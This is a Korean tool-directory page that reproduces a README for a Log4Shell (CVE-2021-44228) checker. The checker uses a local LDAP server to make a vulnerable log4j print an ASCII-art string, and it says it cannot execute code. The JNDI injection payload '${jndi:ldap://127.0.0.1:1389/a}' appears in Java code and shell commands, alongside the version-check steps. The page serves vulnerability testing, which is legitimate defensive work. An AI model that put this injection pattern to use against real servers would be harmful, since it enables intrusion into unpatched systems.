Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2021-44228 — 취약점 CVE-2021-44228 점검기 | Kitploit
도구/GitHubGitHub/greymd/cve-2021-44228
Vulnerability AnalysisExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubgreymd/cve-2021-44228

CVE-2021-44228

취약점 CVE-2021-44228 점검기

저장소 보기
3544년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2021-44228 체커

이 저장소는 취약점 CVE-2021-44228을 확인하기 위한 것입니다.

이것은 외부 클래스 로딩 없이 문자열만 표시하는 PoC입니다. 임의 코드 실행에 사용할 수 없습니다.

작동 방식

1단계: 서버 애플리케이션 실행

이미지 ghcr.io/greymd/cve-2021-44228/server를 사용할 수 있으며 Docker에서 실행할 수 있습니다.

root@kitploit:~
$ docker run -p 1389:1389 -t ghcr.io/greymd/cve-2021-44228/server

2단계: log4j로 엔드포인트 접근

log4j를 사용하여 로그를 출력하는 코드를 준비하고 동일한 호스트에서 실행합니다. 출력 문자열을 ${jndi:ldap://127.0.0.1:1389/a}로 만듭니다.

root@kitploit:~
package logger;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class App {
    private static final Logger logger = LogManager.getLogger(App.class);
    public static void main(String[] args) {
        logger.error("${jndi:ldap://127.0.0.1:1389/a}");
    }
}

인수가 취약점을 유발하는 경우, 「うんこもりもり」(대략 "똥 덩어리"라는 뜻)라는 문구가 성공적으로 기록됩니다.

root@kitploit:~
17:52:24.871 [main] ERROR logger.App -
    "mm
    mmmm          "m           "mmmmm
  ""    #         m"               "
        #        m#m          m
       #        m"  #   m     "m     m
     m"        m"   "mm"        """""
   m            m   m          m            m   m
  mm#            # # "m       mm#            # # "m
   m"#"          ##   #        m"#"          ##   #
 ""#mm "m        #    #      ""#mm "m        #    #
   #    #            #         #    #            #
    "mm"           m"           "mm"           m"

직접 코드를 작성하고 빌드하기 귀찮다면, 이 저장소에 있는 간단한 로거 애플리케이션을 사용할 수 있습니다. 첫 번째 인수가 Logger에 의해 출력됩니다.

root@kitploit:~
$ git clone https://github.com/greymd/CVE-2021-44228.git
$ cd CVE-2021-44228/logger
$ ./gradlew run --args='Hello'
︙
> Task :run
22:10:02.307 [main] ERROR logger.App - Hello

취약점을 유발하는 인수를 제공하는 예시는 다음과 같습니다.

root@kitploit:~
$ ./gradlew run --args='${jndi:ldap://127.0.0.1:1389/a}'
︙
> Task :run
22:10:34.757 [main] ERROR logger.App -
    "mm
    mmmm          "m           "mmmmm
  ""    #         m"               "
        #        m#m          m
       #        m"  #   m     "m     m
     m"        m"   "mm"        """""
   m            m   m          m            m   m
  mm#            # # "m       mm#            # # "m
   m"#"          ##   #        m"#"          ##   #
 ""#mm "m        #    #      ""#mm "m        #    #
   #    #            #         #    #            #
    "mm"           m"           "mm"           m"

취약점의 영향을 받지 않는 log4j 버전을 사용 중이거나 서버 애플리케이션이 실행 중이 아닌 경우, 문자열은 수정 없이 그대로 출력됩니다. 아래와 같이 로거 애플리케이션의 버전을 업데이트하여 확인할 수 있습니다.

root@kitploit:~
$ sed -i.bak s/2.14.1/2.15.0/ build.gradle
$ ./gradlew run --args='${jndi:ldap://127.0.0.1:1389/a}'

> Task :run
22:12:50.913 [main] ERROR logger.App - ${jndi:ldap://127.0.0.1:1389/a}

Docker 없이 서버 애플리케이션 실행

root@kitploit:~
$ git clone https://github.com/greymd/CVE-2021-44228.git
$ cd CVE-2021-44228/server
$ ./gradlew run
︙
Listening ...

동기

앞서 언급했듯이 (그리고 제가 조사한 바로는), 이 취약점은 JNDI 대상 서버가 실행 중이지 않으면 재현되지 않습니다. 따라서 간단한 PoC가 유용합니다.

참고 자료

구현 시 다음 URL을 참고했습니다.

  • https://www.lunasec.io/docs/blog/log4j-zero-day/
  • https://github.com/mbechler/marshalsec
  • https://github.com/advisories/GHSA-jfh8-c2jp-5v3q
  • https://github.com/apache/logging-log4j2/pull/608
  • https://github.com/HyCraftHD/Log4J-RCE-Proof-Of-Concept

테스트된 버전

  • OpenJDK Runtime Environment (build 1.8.0_302-b08)
  • OpenJDK Runtime Environment Corretto-11.0.12.7.1 (build 11.0.12+7-LTS)
  • OpenJDK Runtime Environment Zulu17.30+15-CA (build 17.0.1+12-LTS)
도구 다운로드